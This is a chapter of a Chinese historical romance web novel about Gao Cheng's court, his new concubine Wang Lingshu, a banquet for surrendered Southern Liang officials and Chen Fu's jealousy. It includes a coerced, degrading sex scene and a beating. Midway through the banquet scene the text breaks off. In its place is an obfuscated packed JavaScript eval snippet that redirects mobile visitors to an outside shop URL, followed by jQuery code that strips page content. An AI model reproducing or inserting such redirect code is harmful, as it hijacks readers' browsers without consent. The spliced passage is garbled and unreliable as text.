默认冷灰
24号文字
方正启体

42.第42章

作者:钤钥本书字数:K更新时间:
    寝殿里,药味混着檀香,沉厚得压人。


    甘露跪坐榻边,给娄太妃按着肩,听其呼吸渐重,知是又眯过去了。


    “太妃歇着,奴去看看孩子,半时辰后再来。”她轻声说,太妃眼睫没动,打起小呼噜来,甘露掖掖被角,起身退出殿外。


    裙摆扫过地面,发出窸窸窣窣的轻响,在空旷宫道里荡开一点回响。


    暖阁门虚掩着,飘出点淡淡奶味,甘露进门很轻,冲奶母们一抬手,止住二人行礼,走到榻边,嘴角不自觉牵起。


    儿子趴在软垫上,小手抓着她做的布老虎,‘啊啊’咬着。蠕蠕公主的女儿躺在旁边,大眼睛睁得圆圆的,看她过来,小嘴动了动。


    甘露摸了摸小女娘额头,温温的。


    蠕蠕公主生产时遭了大罪,娩出后又得了下红之症,不过半月,就耗干了性命。公主升霞后,她得以进晋阳宫,娄太妃特意嘱咐她,多照拂蠕蠕公主留下的孩儿,她不敢怠慢,每日除了给太妃按摩侍药,其余时辰几乎都耗在这暖阁里。


    门被轻轻推开,是陈扶。


    甘露示意乳母们退下,陈扶抱起甘露的儿子,孩子也不认生,伸手去抓她官袍上的玉扣。


    “太妃如何?”


    “太妃晨起喝了碗粥,按摩时又眯着了,汤药也侍奉完了。”甘露凑近,压低声音补充,“今早太妃提起两淮归降的事,夸了相国几句,说有高王当年风范。”


    陈扶“嗯”了一声,抱着孩子晃了晃,“很好。”


    暖阁里静了片刻,只有孩子抠着玉扣的细碎声响。


    甘露心头那点酸楚忽涌上来,轻声问:“仙主,那位王氏……不进晋阳宫么?”


    前日她伺候高澄,他中衣上不知何时绣上了兰草,针脚细密得像江南雨丝。袖中的帕子,也换成了绣着墨竹的,皆是南朝推崇的君子之物,她试探着夸了句 “纹样雅致,绣工精妙”,高澄闻言笑了笑,“比你绣工还差些。”


    可她心里却更酸得发涩,她给高澄绣过不少中衣帕子,费尽功夫,可如今贴身穿用的,却是‘还差些’的。


    “王氏是淮阳太守之女,两淮降臣下月入邺,相国去朝邺时会带着她。”


    甘露回过神,应了一声。


    王氏那般受宠,自会被带在身边,不像她,整日关在阴沉古黯的殿宇里,领略窗外的月色,和窗里的寂寞。


    “甘露,你很重要。”陈扶沉沉望着她,“新朝日后是兄终弟及,还是父死子继,高家会不会陷入政治内耗,大半都在你手里,你明白么?”


    历史上高家自相残杀,娄太妃原因很大,太妃未来是该好好活着,还是适时退场,陈扶只能通过甘露判断、控制。


    郁结渐渐散去,甘露用力点了点头,她的手,除了按摩、奉药、抱孩子,还握着更重的东西。


    库部郎王松年立在殿外,见陈扶来了,忙拱手行礼,“陈侍中。”他递过一卷度支文书,“相国不在殿内,这是各侨州军府上报的度支簿册,需相国过目签发,便劳烦侍中代为转交。”


    陈扶接过,“相国在东郊园囿春猎,待他回来我会提醒他。”目光掠过王松年面善的脸庞,那圆润的鼻头,像极了陈扶前世的小叔,不由生出几分亲切,闲聊道,“王郎是太原王氏,久居晋阳,可知汾河与风峪河交汇处,有个专做豆腐的村子?”


    王松年眼中闪过讶异,“侍中连那里都知晓?那村子豆腐做得细嫩,下官常命下人去买呢。”


    “‘姑姑寨、姑姑寨,鸡儿叫鸣人不在’。说得就是那儿的村民起早贪黑磨浆点卤,天不亮就挑着担子去市集,自然是鸡叫时人已出门了。”


    王松年抚掌而笑,“陈侍中竟连这乡间俗语都知!怪道人都说侍中‘万事通’。”


    正闲聊间,一斥候风尘仆仆奔来,匆匆一礼,喘声道:“陈侍中!两淮经略使辛术大人密信到!”


    两淮急件,恐是献城投降的要事,陈扶将密信揣入袖中,一刻也没耽搁地出了宫门。


    园囿内,春猎的喧嚣散在林莽间,都督们见了她,忙都勒马行礼,“陈侍中,相国刚猎得一头青羊,正在草堂歇脚呢。”


    “谢都督相告。”


    陈扶翻身下马,将缰绳交给圉师,沿小径绕坡而上,水汽渐浓,花香飘来,转过一丛苜蓿,在坡头住了脚。


    汾水支流聚水成沼,几羽白鹅红掌轻划,搅动白莲。沼边草堂白墙为基、茅茨覆顶,东角的丹枫才抽新叶;西阶的棠梨已逢盛期,轻风拂过,花瓣簌簌飘洒,落在树下棋盘上。


    王令姝身着藕荷纨帛裙,端坐棋枰前,垂眸拈棋;对坐之人一身月白褒衣,领口松着,指尖转着枚白子,唇边噙着笑意,正是高澄。


    ‘便依稚驹所言,让赤霞白雪各占一隅。来日堂成,我们便来此对酒横琴,煎茶清谈,对弈比剑。’


    陈扶勾起抹幽微笑意,像被风吹皱的水面,转瞬平复。她静看了会儿,对坡头侍立的刘桃枝道,“劳烦桃枝将辛术密信转呈相国。”


    高澄似有所觉地抬眼,扫过坡地,见刘桃枝正朝这边窥望,当即漫上几分愠怒,刘桃枝被那眼神一射,立时钉在原地。自两淮大捷,主子脾气见长,稍不顺心就爱用环首刀背打人,力道狠辣,得痛上半月。


    若扰了其兴致,少不得要挨上几下。


    高澄收回目光,注意力重落棋盘。


    二人下的是围棋,王令姝的棋风是‘重意趣、轻争胜’的雅弈之道,落子偏守,却也藏着章法。高澄很喜与她对弈,他能赢,又不至赢得太轻松。


    之前和陈扶下棋,虽也每每险胜,但他心里门儿清,陈扶棋品是入神坐照之境,所谓险胜,不过是他家稚驹在让着他。


    吃掉一片黑子后,他懒散笑问:“这草堂如何?”


    “这里很好,满是山野真味,尤其这树梨花,开得素净动人。”


    “那枫树呢?”


    “令姝不好浓艳之物。”她抬眼看向枝头,轻语吟道,“不羡丹枫燃霜色,唯思棠梨落雪深。”


    “好句,令姝真兰心绣口。”高澄赞罢,心头忽闪过一清稚之音,笑了笑,改口道,“然枫赤梨白,实乃各具风骨。秋来醉霜天,剑气惊红雨,一样得趣。”


    王令姝捏着棋子的手微顿,恭谨道:“相国深谙物趣,丹枫炽烈有山河气,棠梨素雅含林下风,皆是好景致。只是令姝生于淮阳,见惯了烟雨梨花,便更偏疼几分,并非觉枫树不好。”


    话音未落,一片花瓣落在她发间,更衬得那玉容端芳清艳。


    他看得眼热,一改散漫,步步紧逼,转眼便断了她退路。王令姝思索半晌,轻轻一叹,“相国棋力高深,令姝认输。”


    “认输便该有罚。”高澄说着,起身俯身,将人打横抱起,怀中人下意识攥住他衣襟,玉面瞬间涨红。


    绛色帘帐拉着,屋内点着烛火,北墙立着一人高的铜镜,正照着床榻。


    高澄将她放于案侧卧箜篌前,带着她拨奏着,是《读曲歌》,“唱给孤听。”


    “思欢不得来,抱被空中语。月没星不亮,持底明侬绪。一夕就郎宿,通夜语不息……”


    琴弦上的手滑入衣襟,“每日用兰汤沐浴,濡养得这般滑软,原是为了取悦我这‘蛮夷’啊?”


    琴弦‘铮’地一声,碎成几缕颤音,待她回神,已被抱至案上,她往侧边缩了缩,避开那盆她从淮阳带来的建兰。


    “这花养得不错。”他说着,两指一捻,已将最饱满的那朵掐了下来。


    “相国!”王令姝秀眉蹙起,“这建兰喜润忌燥,在晋阳存活极难,好容易养成,相国勿要暴殄天物。”


    高澄将那朵建兰别在她鬓边,目光扫过她,落在案角那方刻着‘长毋相忘’的歙砚上,他伸手将砚台往跟前一拨,拿起案上狼毫,蘸了满墨。


    王令姝心头一紧,下意识想拦,却被他一扯,慢条斯理写了个‘澄’字,“既好容易养成了,不给人享用,才是暴殄天物。”


    将人抱起,陷进锦缎之中,将那花一拨,“孤和它一般,也喜润忌燥。”


    “用你们那边的话叫。”无意识漏出的乡音,令他满足一叹,弄得更狠,浑身一抖,眼泪顺着面颊滚落下来,不由自主时,他俯在她耳边,灼热低笑,“你的身体比灵魂诚实。”


    花朵被彻底碾碎,他在那染上花汁的脸蛋上轻拂一把,迫她看向铜镜。


    “那是谁家知礼仪懂廉耻的闺秀?动物一般与孤交/合?”


    王令姝想起淮阳的春天,想起淮水边的兰草,想起父亲献城那日,对她说:“活下去,才最重要。”


    帘帐拉开,春光透过窗棂,融融照进。


    高澄站在窗边,望着静坐榻前的王令姝,她已沐浴过,洗去了墨迹、花痕。


    她是南梁太守的嫡女,出自琅琊王氏旁支,她临的是卫夫人《名姬帖》,会仿《诗经》遗风,若非国难家变,原该是大家正室夫人。


    他近前,捏着她的脸,“你心里还觉得自己是南梁臣女,觉得你父亲背弃君父,觉得本王是乱臣贼子。”


    “妾不敢。”


    高澄冷峭一笑,“萧衍老儿佞佛,寺庙菩萨金光万丈,淮水边的百姓却易子而食,这就是你心心念念的故国?”他指尖碾过她的唇角,用了力,“你父亲投降,是救了淮阳一城军民。而本王,能让你王家比在南国更风光。你该谢他,给了淮阳百姓生路,也给了你一个更好的前程。”


    话音刚落,堂外传来轻促的脚步声,刘桃枝躬身立于门帘外,“相国,方才……陈侍中来过,给了属下辛术大人密信。”


    高澄脸上笑意瞬间敛去,眉峰猛地蹙起,“方才怎么不告诉我!”


    刘桃枝吓得腿一软,连忙跪地,“属下……属下怕扰了相国的兴致……”


    “蠢货!”高澄一脚踹在榻腿上,他拔步上前,劈手夺过刘桃枝腰间的环首刀,反手用刀背狠狠在他背上一筑,刘桃枝咬着牙不敢出声。


    高澄怒意稍缓,将刀掷回他面前,接过密信往袖中一拢,夺门而出。


    棠梨春深,积雪般的花瓣在风中飞舞,落满曲沼,王令姝铺开纸笺,想写些什么,最终却只是搁笔。


    -


    东柏堂宴厅。


    参加宴会的除了东魏官员,还有刚归降的南梁宗室萧正表,萧退、萧祇,刺史湛海珍、王奉伯、明少遐;太守萧邻、王瑜等。


    堂内燃着龙涎香,缠绕着南方贡茶的清芬。案几排布错落,北地的烤羊腿、酥酪与南朝的醉蟹、莼羹等并列在案。东魏将领的胡服锦袍与南梁降臣的宽袖儒衫交错,席间既有北地的爽朗谈笑,也有南朝的清词雅语,看似一派南北融睦。


    席到中段,以漳水为题,击鼓催花联句行令,北地接句词致宏远,南人所吟则多是拟乐府诗句。


    王令姝得花后,接吟道,“汀兰含露抱清芬,漳水微波照素心。”南梁降臣纷纷赞叹:“王氏女郎之句婉丽如人,不愧琅琊余韵!”“‘素心’二字,尽显风骨。”


    高澄对淮阳太守王瑜笑道:“卿为孤生了个妙人。”


    击鼓声再次戛然而止时,那枝杏花落在了陈扶案头,陈扶按南朝之风笑接道,“漳流千里接云平,波照铜台夜月明。”


    众皆赞清丽古雅,东徐州刺史湛海珍抱手礼道,“久闻陈侍中才名,果然名不虚传,不如侍中再接首整的,让我等再领略下大魏女官的才情?”


    席间霎时静了静,南梁降臣的目光都聚了过来,高澄冲她笑笑,“便再作一首你素日之风的。”


    陈扶颔首吟咏,“漳水汤汤绕帝城,铜雀巍峨接太清。万年江山今犹在,更展宏图向玉京。”


    诗句落毕,炸开褒贬不一的细碎议论。山阳太守萧邻抚掌赞叹:“‘接太清’‘向玉京’,非胸有丘壑者不能为!不愧是相国之女侍中呐!”北兖州刺史萧祇皱着眉,与身旁人低声嘀咕:“小女儿家,这般张扬狂口。”


    这话虽轻,却飘进了高澄耳中,手中玉杯往案上一放,“当”的一声清脆响动,瞬间压下所有议论。话是对陈扶说得,音量却满座皆可听到,“皆在吟风弄月,唯有孤的稚驹,在漳水铜台里,看见了万年江山,念着宏图大业。”


    侍中杨愔立刻附和,“大王所言极是!陈侍中诗句雄浑,气吞万里,不愧为我大魏女儿!”北地将领纷纷称是。陈元康冲萧祇举盏道,“吟风弄月见雅趣,胸怀天下见格局,二者皆为难得,萧公,请。”


    高澄注意力落回王令姝,她正用银器剥蟹,指尖纤细,动作轻柔,仿佛不是在进食,而是在打理一件珍玩。


    “醉蟹剥后红脂满,莼羹调时玉手纤。令姝这吃相,当真风雅。”说着,夹起块烤羊肉放入其碟中,油光顺着肉块边缘滴落,王令姝眉尖一蹙,却仍依礼轻道:“谢相国。”


    “怎么?吃不惯?”


    王令姝垂下眼睫,“妾不敢。”


    高澄和她处了半月,知她于饮食一道,尽显江南士族‘食不厌精’的讲究,晨起只食蜜渍花粥,午后是形如菊瓣的千层糕,茶盏只用越窑青瓷,冲泡时必用初沸的荷露。


    扫过她案上,果然,北地烤肉、蒸饼之类一箸未动,只动了兰京烹制的醉蟹、莼羹与车螯。


    “往后随孤在东柏堂用膳,让兰京备办。”


    ‘东柏堂’三字落入耳中,陈扶缓缓转头,看他正笑看着王令姝,又缓缓转回去。


    一声笑从唇边溢出。


    北兖州刺史萧祇起身,对高澄拱手笑道:“相国设此华筵,佳肴美馔盈案,雅乐清声绕梁,臣今日得享这般盛情,实在酣畅尽兴!无甚贵重之物可表心意,备了点薄礼,聊酬相国款待。”


    崔季舒连忙上前接过,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797251|185337||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    将锦盒捧至高澄面前。


    是几匹鲛绡纱,价值千金,是南朝贵族女子追捧的稀物。高澄拈起细看,那纱透光可见掌纹,他摩挲两下,轻软得要从指缝间溜走,回过萧祇后,转向王令姝,“你与稚驹分了吧。”


    “谢相……”


    “尽予她吧。”


    清冷声音骤然响起,打断了王令姝的谢语。


    高澄愣了愣,转脸看向陈扶。


    她端坐案前,目光虚看着前方,小脸冷得很。


    心头掠过丝不解,随即漫上点被顶撞的不快,他认识的陈扶,便是不愿,也会婉言推辞,从未这般直接。崔季舒眼神在两人间打转,陈侍中向来对相国言听计从,这般直言拒绝,头一回见。


    高澄将鲛绡纱放回锦盒,耐下性子笑问,“稚驹为何不要?”


    “稚驹手脚粗笨,不知如何养护珍物。”


    以她的见识与聪慧,便是真不会养护,一学便会,何来‘不知’之说?这分明是托词,再看她连余光都未肯分给自己,高澄眉头深蹙,二人间的空气霎时僵了几分。


    崔季舒见状,忙躬身凑近高澄,手掌拢在唇边,压低声音道:“陈侍中这模样,怕是见相国厚待王氏,心里不自在了吧?”暧昧一笑,“侍中正是情窦初开的年纪,见相国待旁的女子好,难免吃味呐。”


    这话像一束光,照亮了高澄心头疑云。


    一丝豁然开朗的愉悦瞬间冲散了不快,他嘴角往上扬,刚扬到一半,又压了回去,轻咳一声,对崔季舒斥道:“多嘴!稚驹自幼随孤,心胸岂会如此狭隘?不过是真不喜这俗物罢了。”


    话是呵斥,语气里却没半分怒意,崔季舒笑笑,连道‘是’‘是’。


    宴会稍歇,高澄借故起身,将旁案的人儿拽起,“稚驹,随孤去醒醒酒。”也不等她应声,便揽着人往外走。


    夜色已浓,廊灯摇曳,光影在她脸上明明灭灭。


    “还在跟孤置气?”


    “稚驹不敢。相国是主上,稚驹是臣下,岂敢置气。”


    那小圆脸看着‘平静’,可眼里的不舒都快溢出来了。高澄笑出了声,屈指蹭了蹭她脸颊,语气放得更软,“真不要啊?我家稚驹生得白,那鲛绡纱裁件襦裙,领口绣两枝白梅,定然好看。”


    陈扶避开他的触碰,摇摇头。


    “好,你不喜欢便罢了。日后凡有进献,都叫你先挑,你喜欢的便全留下,一分也不赏给旁人。如此可好?”


    陈扶终于抬眸,目光撞进他带着笑意的眼底,“若真论‘赏’,稚驹不要一时之赏,只盼余生都能得相国赏赐。”她深吸一口气,叹道,“相国之安危,系着大魏社稷,牵着百姓黎元。稚驹只盼相国起心动念时,第一想的是自身安危。”


    高澄愣了愣,有些懵——他说的是珍玩赏物,她怎么扯到了社稷与安危?但看她神色郑重,眼底是全然的关切,便欣然应道:“好,都依你。”


    -


    牛车里,陈扶看着窗外,净瓶坐在对面看着她,憋了半晌还是没忍住。


    “仙主,相国对那王令姝是不是很上心啊?”


    “恩。”


    净瓶往前凑了凑,“元玉仪不过是长得好看些,胸无点墨,尚且绊住过他。这王令姝会写诗,会下棋,还会弹琴,听甘露说,她刺绣也是一把好手,想必他只会更宠。”她拉住陈扶衣袖,满面担忧,“书读得多,这原是仙主的强项呐,如今有了她……相国会不会慢慢就冷落仙主了呀?他在寿春时,可是瞧见了那王令姝,就松了仙主的手啊。”


    待她噼里啪啦倒完,陈扶方开口一一答道,“人外有人,天外有天。莫说六艺胜我,便是比我更有先见方略,也不足为奇。已有之事,后必再有。能因元玉仪松手,为何不能因王令姝松手呢?”


    她的语气太过平淡,平淡得像在说‘今日天气甚好’。


    净瓶看她这副似乎全不在乎的模样,心里更疼了。她攥住陈扶的手,“仙主别嘴硬了。前年生辰,仙主都感动得哭成什么样了,看他转头去待其他女子好,怎么可能完全不失望呢?虽说我们是神仙,可现在都是肉体凡胎啊,怎会真没七情六欲?”


    陈扶冲她笑笑,“为何感动?因为从来不觉得他对我用心,是应该的。至于失望……只要不期待,就不会失望。”


    车驾停下,陈扶掀帘下车,刚站定,就愣住了——队主阿古领着所有亲卫,肃立在大门之外。


    阿古见她走来,忙抱拳行礼。


    “今日为何这般排布?”


    “嗨,相国方才下令,往后那王氏来东柏堂用膳时,堂内亲卫尽数换防至堂外。”


    方才还在说‘不期待便不失望’的人,此刻只觉一股气直冲脑门,她笑了两声,点着头抬步往里走。果然,一路穿过外廊、庭院,往日里随处可见的带刀亲卫竟一个也无,连墙角值守的哨兵都没了踪影,整个东柏堂安静得只剩下她的脚步声。


    走到外间,陈扶的脚步顿住。


    素日里和她笑着打招呼的人不在了,案上他的经卷笔墨被收拾得干干净净,连半分人气都无。


    推开内堂的门,食物香气扑面而来。


    高澄与王令姝相对而坐,案上青瓷碗里盛着藕粉,上面浮着几颗莹白圆子,一味清蒸鲈鱼,一味清炒莼菜,还有几色精致小菜,皆是江南风味。


    王令姝用银匙轻抿了一口藕粉,眉眼间掠过一丝惊艳,“这藕粉着实细腻,想来是磨细后又过了三重绢筛。”


    “算你识货。”高澄说着,指尖拈起银箸,夹了颗圆子放她匙中。


    王令姝浅尝一口,真切赞道:“内馅裹着松仁、桂花,入口即化,满口桂香,真真好手艺。”


    高澄抬了抬下巴,示意她尝尝旁侧的菜,“莼菜是太湖新采,鲈鱼是松江四鳃鲈,快马连夜送抵邺城,皆是鲜物。”


    王令姝依言各尝了口,微微垂眸,“相国如此费心厚待,令姝受宠若惊。”


    高澄闻言笑笑,“不过些许食材,谈不上厚待,你既跟了我,这点体面还是有的。”


    陈扶径直走到书案边,开始核对那些堆叠的文书,将确定过的放置格架归类。


    高澄瞥见她进来,目光追了她片刻,开口问道:“早膳吃过了?”


    “恩。”


    “怎么不先去暖阁脱了外衫?”


    “冷。”


    看她那副故意当两人不存在的紧绷模样,高澄面上没什么表情,心里却觉可爱又好笑——这丫头,只怕是又吃醋了。刚要再说什么,王令姝已放下银匙道,“相国,令姝已用完了。”


    高澄也不挽留,起身与她一同往外走,“午时令刘桃枝去接你。”


    两人走后,进来收拾残羹的阿禛走到陈扶身边,压低声音道:“恩人,兰京、阿改他们……不对劲。”


    “什么?!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)